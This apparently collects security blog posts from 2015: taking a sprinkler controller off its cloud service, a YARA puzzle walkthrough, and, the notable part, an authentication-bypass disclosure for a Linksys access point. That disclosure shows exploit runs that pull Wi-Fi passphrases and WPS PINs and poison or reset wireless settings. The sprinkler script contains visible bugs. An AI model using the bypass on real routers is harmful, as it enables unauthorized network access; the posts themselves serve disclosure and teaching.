{"id": 44326, "name": "Zone 9", "plant_type": 1, "emitter_type": 5, "gets_rainfall": true, "user_watering_modulation": 1.0, "valve": 9, "active": true, "illustration": null, "thumbnail_1": null, "thumbnail_2": null, "thumbnail_3": null, "thumbnail_4": null, "schedule_manual_secs": 180, "auto_scheduling": true, "precipitation_rate": 16.51, "kc": 0.75}, {"id": 44327, "name": "Zone 10", "plant_type": 1, "emitter_type": 5, "gets_rainfall": true, "user_watering_modulation": 1.0, "valve": 10, "active": true, "illustration": null, "thumbnail_1": null, "thumbnail_2": null, "thumbnail_3": null, "thumbnail_4": null, "schedule_manual_secs": 180, "auto_scheduling": true, "precipitation_rate": 16.51, "kc": 0.75}, {"id": 44328, "name": "Zone 11", "plant_type": 1, "emitter_type": 5, "gets_rainfall": true, "user_watering_modulation": 1.0, "valve": 11, "active": true, "illustration": null, "thumbnail_1": null, "thumbnail_2": null, "thumbnail_3": null, "thumbnail_4": null, "schedule_manual_secs": 180, "auto_scheduling": true, "precipitation_rate": 16.51, "kc": 0.75}, {"id": 44329, "name": "Zone 12", "plant_type": 1, "emitter_type": 5, "gets_rainfall": true, "user_watering_modulation": 1.0, "valve": 12, "active": true, "illustration": null, "thumbnail_1": null, "thumbnail_2": null, "thumbnail_3": null, "thumbnail_4": null, "schedule_manual_secs": 180, "auto_scheduling": true, "precipitation_rate": 16.51, "kc": 0.75}], "channel": "channel_[redacted]", "sch_start": "+60", "address": {"city": "[redacted]", "country": "[redacted]", "street2": null, "zipcode": "[redacted]", "state": "[redacted]", "street": "[redacted]"}, "timezone": "[redacted]", "current_time": "2015-11-19T14:58:37.925-08:00", "avg_eto": 1.74} ``` Anyhow, I am at a cross-road. There are two ways I can go about accomplishing our goal. I got close to making both work, but in the end and for the purpose of this blog, I will only discuss one. The first way, and way I won't go into detail on how to recreate, has code to almost completely rebuild their cloud-based API, including the phone app. The phone app has a button that lets you run the sprinklers arbitrarily. This is why it was my intial target for accomplishing our goal. In the end, that route was taking much more effort than what it would for the route I'll talk about later on. A bit of information on how their cloud architecture works: I thought it would work kind of like this: ``` [Phone App] -> [Cloud API] <-> [Blossom] ``` But really it works something like this: ``` [Phone App] -> [Blossom API] <-> [Blossom] ^ | [PubNub API] <-----+ ``` PubNub is a realtime messaging service and content delivery network. The Blossom device makes thousands of HTTP calls per day, which can be difficult to scale and can probably create debugging problems when attempting to triage customer issues. PubNub likely helps with that by integrating code into the device that allows a more granular way of tracking device / user pairing and network state. PubNub returns a job identifer along with an EPOCH time that I believe is correlated to the job scheduled through the phone app. There are big reasons why you want to remove third-parties from your networks. One such example can be found in the Privacy Policy used by the manufacturer of the Blossom. The manufacturer is owned by a company called iConservo and the policy in full can be found at: http://myblossom.com/legal/iconservo-privacy-statement/ ``` What We Collect [snip] We also collect passive information such as your IP address on certain IConservo Products, your ZIP code, as well as information about your IConsevo Product such as MAC addresses, product model numbers, software versions, chipset IDs, and region and language settings. Passive information also includes information about the products you request or purchase, the presence of other devices connected to your local network, and the number of users and frequency of use of IConservo Products and Services. We also collect passive information regarding customer activities on our website. Some passive information may be associated with personally identifying information. [snip] Who We Share With We work with third parties in connection with some aspects of the ICONSERVO Products and Services, such as but not limited to processing payments and providing marketing assistance. [snip] ``` I'll just quote this again to make sure it's read: "the presence of other devices connected to your local network". I will let the readers individually infer what this legal text means in relation to what the Blossom will collect about you and devices on your network. If you want to retain the cloud-based functionality, null routing PubNub will not be an option as a HTTP response from PubNub is what seems to actually start the watering cycle scheduled through the phone app. There is another way to open and close valves manually through the web portal as well. Blossom communicates with two internet accessible API servers: _.myblossom.com and _.pubnub.com How do I take control of the network traffic? Just like a sandnet for malware analysis. Set up DHCP and DNS. Configure DHCP to issue the DNS server along with the lease. Next, configure DNS with records to return internal IP addresses for the aforementioned API servers. Blossom will honor this configuration. The redacted content contains the local IP address for my Blossom device on the testing network and a pairing code to associate the device to my demo account. A sample of the traffic to *.myblossom.com can be found below. ``` [redacted] - - [28/Nov/2015 08:21:38] "GET /api/device/v1/server/?q=0.8.1035&fs=0.0.9&c=[redacted]&n=p HTTP/1.1" 404 - [redacted] - - [28/Nov/2015 08:21:53] "GET /api/device/v1/server/?q=0.8.1035&fs=0.0.9&c=[redacted]&n=p HTTP/1.1" 404 - [redacted] - - [28/Nov/2015 08:22:08] "GET /api/device/v1/server/?q=0.8.1035&fs=0.0.9&c=[redacted]&n=p HTTP/1.1" 404 - ``` I noticed that if the device is unable to establish communication with the API servers, it will turn the display LED red indicating connectivity failure and eventually purple indicating the start of an automated recovery process. If connectivity is not restored on the subsequent boot, the recovery process will continue indefinitely. On to the second option, which is more or less a derivative of the first. I am going to trick the Blossom device into staying online. Next, I'll track our watering schedule and issue commands to open and close each valve I care about. In this way, I will remove the need for both the internet-facing Blossom API and PubNub API while retaining the ability to water my lawn when I want. Ok, here I go..... Upon boot, the device performs a variety of requests to prepare for operation. Image Upon resolution of these names the Blossom will then make three HTTP requests. ``` [redacted] - - [28/Nov/2015 09:12:46] "GET /firmware-check/0.json?q=0.8.1035&c=[redacted] HTTP/1.1" 404 - [redacted] - - [28/Nov/2015 09:12:48] "GET /api/device/v1/server/?q=0.8.1035&fs=0.0.9&c=[redacted]&n=w HTTP/1.1" 200 - [redacted] - - [28/Nov/2015 09:12:55] "GET /device/v1/server/ HTTP/1.1" 200 - ``` The first is a firmware check which seems to occur at every boot and every 3600 seconds thereafter. The frequency of this check can be changed using the ota_freq variable in the do_GET function of the Handler class within the code for this blog post. If the device receives a 404 HTTP responce code, it moves along. The second and third requests are what keep the device online. These requests must receive a properly constructed response. This is easy enough, just follow their JSON format. The request for the firmware returns a 404 HTTP response code with no JSON structure, I'll skip that one. ``` GET /api/device/v1/server/?q=0.8.1035&fs=0.0.9&c=[redacted]&n=w HTTP/1.1 Host: home.myblossom.com User-Agent: WMSDK HTTP/1.1 200 OK Allow: GET, HEAD, OPTIONS Content-Type: application/json Date: Fri, 20 Nov 2015 15:32:32 GMT Vary: Accept, Cookie Content-Length: 88 Connection: keep-alive {"ts": "2015-11-20T07:32:32.259-08:00", "pst_tz_offset": -8.0, "pst_tz_seconds": -28800} ``` ``` GET /device/v1/server/ HTTP/1.1 Host: home.myblossom.com User-Agent: WMSDK HTTP/1.1 200 OK Allow: GET, HEAD, OPTIONS Content-Type: application/json Date: Fri, 20 Nov 2015 15:32:32 GMT Vary: Accept, Cookie Content-Length: 88 Connection: keep-alive {"ts": "2015-11-20T07:32:41.212-08:00", "pst_tz_offset": -8.0, "pst_tz_seconds": -28800} ``` You'll know everything is going smoothly when the LED on the front display remains a solid green throughout the duration of device uptime. How about making the Blossom water what I want and when I want it? I'm glad you asked! A few notes first: If you want to make changes to your watering cycle in the future, you'll have to stop the API and make the those changes in code first. If you want to change the zones to be watered in each cycle, you'll have to stop the API and make the changes in code first. The same thought process can be used for zone watering durations. That's okay though, it keeps the mind limber! Lets get down to it. The below code is annotated with ^""" blocks; the script is also available without the extra annotations: [blossom-py3.py](/blog/2015/12/11/unplugging-an-iot-device-from-the-cloud/blossom-py3.py) ``` #!/usr/bin/env python3 """ First, I need a bunch of imports: """ from http.server import BaseHTTPRequestHandler, HTTPServer from urllib.request import Request, urlopen from time import strftime, sleep from datetime import datetime from threading import Thread from json import dumps from sys import exit """ I'll turn off debug, you can enable it later if you want an additional logging statement. """ debug = 0 """ I'll also create some code to log when valves are opened and closed and recreate a python 2.7 feature that I needed when trying to quickly port this over. """ def xrange(low,high): ''' Recreates the xrange I love from the 2.7 version of Python. ''' return iter(range(low,high)) def log_it(valve, state): ''' Creates a simple log entry for each operation. ''' fd = open('blossom.log', 'a+') if (state == 1): fd.write("{:s} -> Opened valve: {:s}\n".format(str(strftime("%Y-%m-%dT%H:%M:%S")), str(valve))) else: fd.write("{:s} -> Closed valve: {:s}\n".format(str(strftime("%Y-%m-%dT%H:%M:%S")), str(valve))) fd.close() return """ I'll need a class to tell Blossom to open and close our desired valves: """ class Blossom: ''' Instructs the Blossom to perform a desired operation. ''' """ The IP address of the Blossom device should be put in the self.apiHost variable. """ def __init__(self): ''' Defines a shared variable. ''' self.apiHost = "[redacted]" # IP Address of Blossom return """ To open a valve, I simply send a POST request to the Blossom to /bloom/valve with a JSON object containing two keys: valve and inverter. The valve indicates which zone you want to run, and inverter is a boolean (either 0 or 1) indicating what state the valve should be in. """ def open_valve(self, valveNumber): ''' Instructs Blossom to open a valve. ''' request = Request("http://{:s}/bloom/valve".format(str(self.apiHost)), dumps({"valve":valveNumber,"inverter":1}).encode('ascii')) fd = urlopen(request) return fd.close() """ The same goes for closing a valve, only the inverter value has been changed. """ def close_valve(self, valveNumber): ''' Instructs Blossom to close a valve. ''' request = Request("http://{:s}/bloom/valve".format(str(self.apiHost)), dumps({"valve":valveNumber,"inverter":0}).encode('ascii')) fd = urlopen(request) return fd.close() """ Now I need a class to handle HTTP requests, I'll call it Handler. I need to define the UUID for our Blossom within this class as well. """ class Handler(BaseHTTPRequestHandler): ''' Decides how to handle each request. ''' """ A function called do_GET is used to handle each received GET request. """ def do_GET(self): """ I do some simple request inspection to decide how to respond. I'll also set some headers for the response. """ ''' In the case of HTTP GET, the request type of checked and an appropriate response is returned. ''' uuid = "[redacted]" # Blossom UUID goes here if ("firmware-check" not in self.path): self.send_response(200) self.send_header('Content-Type', 'application/json') self.send_header('Vary', 'Accept') self.send_header('Connection', 'Close') self.end_headers() else: self.send_response(404) self.end_headers() """ This is where the API will decide how to respond based on the received request. The self.path variable contains the URI as it was received by the web server. I use this to determine how to build the proper response. The self.wfile.write function calls are used to actually build the response. The response gets delivered to the client upon return. The first URI is /device/v1/server/ which is more-or-less a server ping. The response contains time information. """ if (self.path == '/device/v1/server/'): self.wfile.write(str('{"ts": "{:s}", "pst_tz_offset": -8.0, "pst_tz_seconds": -28800}'.format(str(strftime("%Y-%m-%dT%H:%M:%S"))))) """ The second is /api/device/v1/ and looks for an additional URI value called parameter. """ elif ("api" in self.path and "device" in self.path and uuid in self.path): """ If the URI contains parameters, """ if ("api" in self.path and "parameters" in self.path): self.wfile.write(str('{"stats_freq": 3600, "pn_keepalive": 1, "uap_debug": 1, "wave_boost": 1, "ota_freq": 3600, "current_time":"{:s}", "build": 1042, "opn_trip": 40}'.format(str(strftime("%Y-%m-%dT%H:%M:%S"))))) """ Otherwise, """ else: self.wfile.write(str('{"channel": "channel_{:s}", "current_time": "{:s}", "tz_offset": -8.0, "tz_seconds": -28800, "sch_load_time": 24900, "fetch_lead": 3600}'.format(str(uuid), str(strftime("%Y-%m-%dT%H:%M:%S"))))) """ And finally, our return statement. """ return """ Now for some code to manage the watering schedule. """ class Monitor: ''' Monitors the current datetime and watering schedule. ''' """ I'll need to define a few variables for use later. The variables *_scheduleDays indicate what days you want your lawn to be watered. The variables *_scheduleTimes indicate what time of day you want your lawn watered. The *_zones variable indicates which zones you want watered and for how long in seconds you want each valve to be open. """ def __init__(self): self.front_scheduleDays = ['Tue', 'Thu', 'Sat'] self.front_scheduleTimes = [400, 2330] self.front_zones = {'zones': [1, 2, 3], 'water_times': [60, 60, 120]} self.back_scheduleDays = ['Mon', 'Tue', 'Wed', 'Thu', 'Fri'] self.back_scheduleTimes = [530, 2355] self.back_zones = {'zones': [8, 9, 10, 11, 12], 'water_times': [30, 30, 30, 30, 0]} self.days = {'Mon': 0, 'Tue': 1, 'Wed': 2, 'Thu': 3, 'Fri': 4, 'Sat': 5, 'Sun': 6} return """ Now I need to start a infinite loop to contintually check when to water. """ def run(self): ''' Continually checks the current datetime and decides whether or not to water. ''' print(datetime.now(), " -> Starting") while True: print(datetime.now(), " -> Checking schedule") """ I start by getting the current day of the week and time. """ self.current_day = datetime.today().weekday() self.current_time = int(datetime.now().strftime('%H%M')) """ Next, I decide whether or not self.current_day is a day of the week that I want to water my lawn. This is for the front yard, I'll repeat for the back yard as well. """ for schedule_day in self.front_scheduleDays: if self.days[schedule_day] is self.current_day: for schedule_time in self.front_scheduleTimes: if debug == 1: print(datetime.now(), " -> [F] Checking if ", self.current_time, " is in ", xrange(schedule_time-1, schedule_time+1)) """ Next, I decide whether or not self.current_time is within the time window of when I want to water my lawn. If I use a sleep of thirty seconds at the end of each loop iteration, assuming self.current_time walls within the window alloted (+/- 1 minute) and you water two zones at a minimum of thirty seconds each, there shouldn't be any issues. This isn't the best way of doing this, but it works satisfactorily. """ if self.current_time in xrange(schedule_time-1, schedule_time+1): """ Finally, I can begin to iterate through our zones to be watered and open the valves for each. """ for zone_info in zip(self.front_zones['zones'], self.front_zones['water_times']): if (zone_info[1] > 0): """ Open the valve. """ print(datetime.now(), " -> [F] Opening valve: ", zone_info[0]) log_it(zone_info[0], 1) Blossom().open_valve(zone_info[0]) """ Make it rain! """ sleep(zone_info[1]) """ Remember to close the valve. If you don't, you'll be watering until you do. """ print(datetime.now(), " -> [F] Closing valve: ", zone_info[0]) log_it(zone_info[0], 0) Blossom().close_valve(zone_info[0]) """ Rinse and repeat with the back yard. """ for schedule_day in self.back_scheduleDays: if self.days[schedule_day] is self.current_day: for schedule_time in self.back_scheduleTimes: if debug == 1: print(datetime.now(), " -> [B] Checking if ", self.current_time, " is in ", xrange(schedule_time-1, schedule_time+1)) if self.current_time in xrange(schedule_time-1, schedule_time+1): for zone_info in zip(self.back_zones['zones'], self.back_zones['water_times']): if (zone_info[1] > 0): print(datetime.now(), " -> [B] Opening valve: ", zone_info[0]) log_it(zone_info[0], 1) Blossom().open_valve(zone_info[0]) sleep(zone_info[1]) print(datetime.now(), " -> [B] Closing valve: ", zone_info[0]) log_it(zone_info[0], 0) Blossom().close_valve(zone_info[1]) """ Sleep at the end of each iteration. """ sleep(30) """ Finally, return to the caller. """ return """ I also need a main routine to get things going. """ def main(): ''' Spawn a thread for datetime monitoring. Serve the API. ''' """ I'll use two threads. The parent will run the web server, and a child thread will monitor the schedule and instruct Blossom on operations to be performed. """ Thread(name='monitor-schedule', target=Monitor().run, args=()).start() """ Now I'll start the API. """ try: server = HTTPServer(('', 81), Handler) server.serve_forever() except KeyboardInterrupt: print("^C received, shutting down the web server") server.socket.close() return exit(1) """ Run main. """ if __name__ == "__main__": main() ``` Image I hope you enjoyed reading this blog, I had fun writing it. I've had this configuration deployed for a few weeks now, and so far, it's working pretty well. Next week, I'll be talking about an undocumented account in an IoT device. --- ## Q: Can I have your password? A: Yes you can. URL: https://korelogic.com/blog/2015/12/04/q-can-i-have-your-password-a-yes-you-can/ Part one of a firmware and embedded device research series, introducing the security themes and device-analysis approach for the posts that follow. Published: 2015-12-04 Author: Matt Category: Password Security Tags: javascript, vulnerability-research, tools, passwords, iot Hello folks, welcome to the first of a four part blog mini-series on firmware and embedded devices. My name is Matt Bergin and i'll be guiding you through the series. We plan to release each part of the series on the Friday of each week in December. The release of the final part in our series is dependent on our responsible disclosure timeline holding for a finding, but we're pretty confident. We're going to start slowly and with something simple. Today's tale is about a little access point that tried and tried but just couldn't keep its mouth shut. If it has an IP it'll talk, and what it says you might not like. Though, we tried to make it stop (see the timeline in [the advisory](/advisories/KL-001-2015-006/)), it didn't seem to matter to the manufacturer. So here we are: an 0day to help start your holiday season. Sincerely, KoreLogic Onward and upward! You can purchase the vulnerable device and download the corresponding firmware here: [http://www.linksys.com/us/support-product?pid=01t80000003cVuwAAE](http://www.linksys.com/us/support-product?pid=01t80000003cVuwAAE) We'll start off by doing what every other blog on firmware reversing tells you to do: run binwalk. In this case, it will work without any changes and you'll end up with a sub-directory containing the files you're going to want. If you would rather work off of a live system, JTAG pins are on the board and the console can be found with your baudrate set to 115200. ``` # ls bin etc JNAP libexec mnt proc sbin tmp var dev home lib linuxrc opt root sys usr www # cd www # ls bootloader_info.cgi incoming_log.txt security_log.txt cgi-bin jcgi speedtest_info.cgi dhcp_log.txt JNAP sysinfo.cgi ezwifi_cfg.cgi license.pdf ui get_counter_info.cgi outgoing_log.txt usbinfo.cgi getstinfo.cgi qos_info.cgi ``` There are a many CGI files of interest, I will only talk about a few. ``` # ls -la sysinfo.cgi lrwxrwxrwx 1 root root 23 Jul 21 2014 sysinfo.cgi -> /www/ui/cgi/sysinfo.cgi # ls -la getstinfo.cgi lrwxrwxrwx 1 root root 23 Jul 21 2014 sysinfo.cgi -> /www/ui/cgi/getstinfo.cgi # ls -la sysinfo.cgi lrwxrwxrwx 1 root root 23 Jul 21 2014 ezwifi_cfg.cgi -> /www/ui/cgi/ezwifi_cfg.cgi ``` These files are accessible from an unauthenticated perspective and allow the pentester to perform a variety of actions. A pentesting team with one person who is simultaneously conducting attacks from an already established network location and a geographically separate person oriented near the access point who desires access to the affected network could then use attacks like this to their advantage. This approach will reduce the need for internet facing assets whose use may compromise the engagement while allowing for a higher degree of persistency and anonymity. These attacks are a good example of why enterprise-grade wireless security is so important. ``` $ python kl-linksys-ea6100-auth-bypass.py --help Brought to you by Level at KoreLogic Usage: kl-linksys-ea6100-auth-bypass.py [options] Options: -h, --help show this help message and exit --host=HOST Target IP address --sysinfo Get target system information --getpwhash Get target wireless password hash --getclearpw Get target wireless SSID and cleartext password --isdefault Check if target is running the default admin credential (if yes, obtain passphrase) --resetwifi Reset the access point security (requires default passphrase) --poisonwifi Poison the access point security settings --getwpspin Get the WPS pin for the target ``` The switches above and their corresponding description convey the functionality built into our exploit. The first is --isdefault which works by sending the access point management interface a JNAP action over HTTP. The JNAP functionality within the EA series access points has been discussed previously; see for example [https://github.com/Qanan/Linksys-JNAP-Siphon](https://github.com/Qanan/Linksys-JNAP-Siphon) This tool does indeed siphon out some interesting information, even information that is redundant to what we obtain through separate methods. While it used to be quite popular for the default admin account in these types of devices to just be admin/admin we found that is no longer the case for the EA series. Instead we found a (seemingly) random password on the label for our hardware. We didn't look, but lets just hope it isn't based on the serial number of the device or any other predicatable value really. So, what does --isdefault do? It sends an HTTP request to the access point with a header name X-JNAP-Action whose value is a URL. Example: http://linksys.com/jnap/core/IsAdminPasswordDefault The access point will return an HTTP 200 with a JSON string. The string contains a key named 'output' which also contains a JSON value. This value has a key named 'isAdminPasswordDefault' and contains a boolean indicating whether or not the password has been changed. ``` $ python kl-linksys-ea6100-auth-bypass.py --host [redacted] --isdefault Brought to you by Level at KoreLogic [+] Target host is alive, proceeding. [+] Checking if administrator passphrase is default - [!] Passphrase is not default ``` I changed the password, but what if I had not yet changed it? I mean, it's not admin/admin anymore so I should good right? Wrong. The access point will tell _anyone_ the default admin password regardless if it's set or not. In cases where isAdminPasswordDefault is True, the exploit will obtain the default password in clear text. You'll see this in action later on. What about getting access to the wireless network? Well, there are a few options. If you don't mind cracking hashes then --getpwhash will make an HTTP call to the access point at getstinfo.cgi which will then return the values shown below. ``` $ python kl-linksys-ea6100-auth-bypass.py --host [redacted] --getpwhash Brought to you by Level at KoreLogic [+] Target host is alive, proceeding. [+] Obtaining wireless password hash - SSID=[redacted] Passphrase=[redacted] ``` What if you want to use WPS instead? No problem, just run --getwpspin. This makes an HTTP call to sysinfo.cgi and then parses the response for the value. ``` $ python kl-linksys-ea6100-auth-bypass.py --host [redacted] --getwpspin Brought to you by Level at KoreLogic [+] Target host is alive, proceeding. [+] Getting WPS pin - WPS PIN: [redacted] ``` If you don't want to use any of those or maybe you just want the WPA2 password, you can use --getclearpw. This also makes a HTTP call to sysinfo.cgi, except this will search for the wireless security settings which are stored in cleartext. ``` $ python kl-linksys-ea6100-auth-bypass.py --host [redacted] --getclearpw Brought to you by Level at KoreLogic [+] Target host is alive, proceeding. [+] Obtaining wireless ssid and password - wl0 Passphrase: [redacted] wl0 SSID: [redacted] wl1 Passphrase: [redacted] wl1 SSID: [redacted] ``` If you're looking for a "poison the well" type attack, then --poisonwifi is for you. This switch makes an HTTP call that will reconfigure NVRAM so the next time a change is applied your poisoned wireless settings will also get applied. Once the HTTP call to poison the settings has taken place, the exploit will call --getclearpw and search for your poisoned settings to ensure poisoning has taken place. ``` $ python kl-linksys-ea6100-auth-bypass.py --host [redacted] --poisonwifi Brought to you by Level at KoreLogic [+] Target host is alive, proceeding. [+] Poisoning wireless ssid configuration [+] Access point ssid settings poisoned. An administrator will need to hit Apply anywhere in the UI ``` Say stealth doesn't matter and this attack vector is still your best shot for some reason, if --isdefault is True the exploit can automatically reconfigure the wireless settings for quick network access. Using the switch --resetwifi will run --isdefault and if it returns True, it will then run a separate JNAP action that will perform the reconfiguration. ``` $ python kl-linksys-ea6100-auth-bypass.py --host [redacted] --resetwifi Brought to you by Level at KoreLogic [+] Target host is alive, proceeding. [+] Resetting the access point security [+] Admin password is default, asking for the password [+] Got the passphrase: [redacted] [+] AP will now restart with the SSID and passphrase: korelogic/korelogic and korelogic2/korelogic2 ``` I hope you enjoyed reading this blog. Next week we will talk about a cloud-based smart lawn watering solution and how to retain cool functionality in smart gadgets while removing third-party access to your network. Cheers! --- ## LibPathWell 0.6.3 Released URL: https://korelogic.com/blog/2015/10/01/libpathwell-063-released/ LibPathWell 0.6.3 release announcement for the PathWell password topology library and PAM module for dynamic password-strength enforcement. Published: 2015-10-01 Author: Klayton Category: Tools & Frameworks Tags: tools, passwords, web-security I am pleased to announce that a new release of the Password Topology Histogram Wear-Leveling (PathWell) library and PAM module for dynamic password-strength enforcement is now available for download [here](https://github.com/KoreLogicSecurity/libpathwell). Version 0.6.3 is an update release of PathWell. Generally, code was cleaned up and refined as necessary. The API remains unchanged, but the library did get a revision bump -- the new version is 1:1:0. The primary goals of this release were to work out the build issues previously encountered for some flavors of Linux and to extend configure/build support to MinGW/MSYS build environments. And while the library along with the associated command line utilities compile cleanly and pass all their unit tests under Windows, setting up that build environment and getting the various dependencies (e.g., GMP, PCRE, SQLite, etc.) to compile involves a number of steps, a few hurdles, and fair amount of determination, so be prepared if you decide to venture down that road. Perhaps that will be the topic of a future blog post. Who knows? ... Anyway, this will likely be our last release for the 0.6.0 branch as our attention has shifted to the 0.7.0 release, which includes new features and tools. More on that to follow in the coming days, so stay tuned ... --- ## MASTIFF Output Plug-ins URL: https://korelogic.com/blog/2015/09/25/mastiff-output-plug-ins/ An update on MASTIFF output plug-ins and how they advance the project goal of automated static analysis for submitted files. Published: 2015-09-25 Author: Tyler Category: Tools & Frameworks Tags: javascript, malware, tools, forensics, passwords MASTIFF is a living project whose continuous goal is to provide an automated means for static analysis of files. To meet this end, the project has multiple short and long term goals in place. Recently we silently released an update that hit one of the major goals we have been working towards since inception of the project: **output plug-ins**. Previously, MASTIFF had two types of plug-ins: category plug-ins, that determine the type of file that was being analyzed; and analysis plug-ins, the code that extracts and interprets the information from the file. Any output generated from MASTIFF plug-ins had to be handled by the plug-in itself. This led to multiple problems. - Output handling code was being replicated in all of the plug-ins. - There was no consistency with how output was formatted. - If a new output format was desired, such as HTML, each plug-in had to be updated to handle that new format. Thus output plug-ins were born. Output plug-ins take the data generated from the analysis plug-ins and place them in a specific output format. In other words, the text output plug-in will place the data into text files, the HTML output plug-in (forthcoming) will format the data into HTML files, etc. This allows the analysis plug-ins to focus solely on performing analysis, and allows new output formats to be quickly added to the framework. Image However, a consistent format to place the data into was needed for the output plug-ins to parse and format the data properly. Unfortunately, standard formats such as JSON did not do everything that was required. So, a new "universal" format was created for MASTIFF. This format places analysis plug-in data into what we've termed tables and pages. The majority of the data extracted by analysis plug-ins can be abstracted into one or more tables of data. For example, the embedded strings plug-in structures data into one table. Each row of the table is the information related to a specific extracted string in the file, and each column is that data field (e.g. location, type, and the string itself). MASTIFF uses this to its advantage by storing all data in a table-like structure (known oddly enough as a table). Each table contains a _header_, which describes the data in the table; and multiple _rows_, which contain the data. Plug-ins may also generate multiple pieces of information that each need to be stored in their own tables, but still grouped together. Another data structure, known as a _page_, was created to group multiple tables from a single plug-in together. Combined, each analysis plug-in output is stored in its own page. Within each page are one of more tables of data. Output plug-ins read each plug-in's page and go through each table, formatting the data within to the format required. There are advantages to using the universal format outside of the output plug-ins. First, it is now possible to create plug-ins that add to or modify data from other plug-ins. For example, a plug-in that generates a new hash based on a file type does not need to place its data (i.e. a single hash) into its own data structure; it can add its hash to the File Info page data, which already contains all of the hashes. Second, plug-ins can now examine the data from other plug-ins to perform correlation on it. This allows MASTIFF to be extended even further. From this point forward, all new analysis plug-ins will utilize the output plug-in data structures to take advantage of output plug-ins. We are working on converting all current plug-ins to use output plug-ins. The details on how to use output plug-ins, and create new ones, are contained within the MASTIFF documentation. The analysis plug-in skeleton files, used to quickly generate new plug-ins, have also been updated to utilize output plug-ins. Currently, there are only two output plug-ins available: raw, which displays the data structures in their raw format (useful for debugging); and text, which puts the data into text files. Additional output plug-ins, including JSON and HTML, will be forthcoming. ## MASTIFF Online Plug-in One last update. We also recently pushed a new plug-in that will submit files to [MASTIFF Online Free](https://mastiff-online.korelogic.com) from MASTIFF if enabled. MASTIFF Online is the service that allows anyone to upload samples and have them analyzed by MASTIFF. The benefit to using MASTIFF Online, instead of a local install of MASTIFF, is that one does not need to worry about keeping MASTIFF up to date or if all of the dependencies are installed. The plug-in will upload the sample to MASTIFF Online, if the submit option is set to on, and will return the URL where the results may be found. There are two benefits to using this plug-in. First, it helps increase the size of the MASTIFF Online repository of malware, which will help create new plug-ins and shape the future of MASTIFF. Second, when malware is uploaded to MASTIFF Online, its fuzzy hash is compared to all other malware in the repository. By uploading your malware, you can go to the site and see if there are any samples similar to the sample you are analyzing. This helps your analysis, and MASTIFF in general. Do bear in mind that MASTIFF Online Free's database is public, so do not enable this when processing files with confidential or proprietary contents. --- ## How I Solved (Most Of) the Yara CTF Puzzles: Puzzle #9 - #11 URL: https://korelogic.com/blog/2015/08/21/yara-ctf-puzzles-9-11/ Walkthrough of the final three Black Hat YARA CTF puzzles, covering puzzle logic and YARA rule analysis. Published: 2015-08-21 Author: Tyler Category: Malware Analysis Tags: javascript, malware, vulnerability-research, tools, passwords So far I've discussed how [puzzles #1-#4](/blog/2015/08/17/yara-ctf-puzzles-1-4) and [puzzles #5-#8](/blog/2015/08/19/yara-ctf-puzzles-5-8) in the [Yara CTF for Black Hat 2015](http://phishme.com/yara-ctf-blackhat-2015/) contest were solved. In this post, I'll go over the final three puzzles. As noted before, the puzzles are still accessible at the [CTF page](http://phishme.com/yara-ctf-blackhat-2015/), so there are spoilers if you plan to go through them. ### Puzzle #9 Puzzle #9 contained a single file named _strangers_ composed of one long base64 encoded string. A "key" was required for the answer. Decoding the string returned 571 bytes of binary data. [Image](/blog/2015/08/21/yara-ctf-puzzles-9-11/CTF-9-hexdump.png) I initially opened the data in a hex editor and started looking for patterns. Patterns can often be indicative of XOR obfuscation and may lead you to an XOR key. Unfortunately, after a few minutes of this I hit a wall and needed to change my train of thought. I had run the UNIX command _file_ over the binary data in the hopes it might identify a specific file type. This didn't work, so I decided to google the first few bytes of the data in case it was a known file header that _file_ didn't detect. Fortunately, searching for "78 9C" had a number of hits indicating this was the header for data compressed with the zlib algorithm (with default compression)! [Zlib](http://www.zlib.net/) is a commonly used data compression algorithm. Many tools are available to decompress encoded data, such as gzip. However, tools like gzip require a gzip header to decompress the data, which wasn't present here. The solution? Add our own header and decompress: [Image](/blog/2015/08/21/yara-ctf-puzzles-9-11/CTF-9-decompress-image.png) The result of the command above returned another base64 encoded string. Decoding that gave the following message: ``` Oooh \ We're no strangers to love \ You know the rules and so do I \ A full commitment's what I'm thinking of \ You wouldn't get this from any other guy \ I just wanna tell you how I'm feeling \ Gotta make you understand \ Never gonna give you up \ Never gonna let you down \ Never gonna run around and desert you \ Never gonna make you cry \ Never gonna say goodbye \ Never gonna tell a lie and hurt you . Oh yea, about The game. And for those who know "The game"...yup, you just lost. But back to this game. The real game. What is the MD5 hash of a1d0c6e83f027327d8461063f4ac58a6 and 69cbe89bfa6370e0ab07df9a6096d3d2. No spaces, no end lines...just yummy hex goodness. ``` Now the file name _strangers_ made sense. However, we weren't finished. We still needed to figure out what the hashes in the message were, combine those values, and create an MD5 hash of that. The two hashes in the output are MD5 hashes themselves. Since MD5 is a cryptographic hash, there is no way for me to reverse the hash into its original value. That means I would normally have to treat these like a password hash and brute force different values until I got that hashes I was looking for. Fortunately, there are many sites that have already generated MD5 hashes for lists of many different words and values. The solutions, therefore, were just a google search away. Through some online searches, it turned out that ["42" produces the MD5 hash a1d0c6e83f027327d8461063f4ac58a6](http://md5.gromweb.com/?md5=a1d0c6e83f027327d8461063f4ac58a6), and the words ["yesnomaybe" produce the MD5 hash 69cbe89bfa6370e0ab07df9a6096d3d2](http://md5decoder.org/69cbe89bfa6370e0ab07df9a6096d3d2). Combined as "42yesnomaybe", we produce our answer, the MD5 hash e71c9f0afccd29db1dc70daa9ea6e84b. ### Puzzle #10 The goal of puzzle #10 was to obtain an "answer". The only file available was named "cute animal" and was the following string: ``` 1b2d37622f37313662252d62243730362a2730622b2c362d62362a2762302320202b36622a2d2e276e620a23 2c6c620d2c2e3b62362a272c62352b2e2e623b2d3762242b2c2662362a276236303727622130272336373027 78627b2172777370747026727b7b26267b7076772026777026247a717b74737074754242 ``` This string consists only of hex characters - 0-9 and a-f. While this could have been a base64 encoded string (it does decode properly, albeit into binary goo), it was more likely this was a string of hex bytes. This was even more likely due to the fact that by looking at them they would convert to ASCII characters. Using a small Perl script I wrote, I converted them to their byte values and got the following: ``` 00000000 1b 2d 37 62 2f 37 31 36 62 25 2d 62 24 37 30 36 |.-7b/716b%-b$706| 00000010 2a 27 30 62 2b 2c 36 2d 62 36 2a 27 62 30 23 20 |*'0b+,6-b6*'b0# | 00000020 20 2b 36 62 2a 2d 2e 27 6e 62 0a 23 2c 6c 62 0d | +6b*-.'nb.#,lb.| 00000030 2c 2e 3b 62 36 2a 27 2c 62 35 2b 2e 2e 62 3b 2d |,.;b6*',b5+..b;-| 00000040 37 62 24 2b 2c 26 62 36 2a 27 62 36 30 37 27 62 |7b$+,&b6*'b607'b| 00000050 21 30 27 23 36 37 